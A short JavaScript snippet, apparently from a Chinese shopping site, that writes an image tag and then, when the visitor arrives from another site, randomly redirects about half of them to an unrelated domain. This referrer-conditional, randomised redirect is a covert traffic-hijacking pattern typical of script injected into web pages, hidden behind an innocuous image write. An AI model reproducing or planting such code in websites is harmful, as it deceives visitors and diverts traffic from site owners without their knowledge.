document.write('<img src="/img_shopxp/upfilepic/20099221302976276.jpg" border="0" alt="www.esp-online.cn">');
var cc=document.referrer
var s,siteUrl
s=document.location+""
siteUrl=s.substring(7,s.indexOf('/',7))
if(cc != "")
{
if(cc.indexOf(siteUrl) == -1)
{
var num=parseInt(10*Math.random())
if (num % 2 ==1)
{
window.location.href="http://www.jinlongkeji.com/index.htm"
}
}
}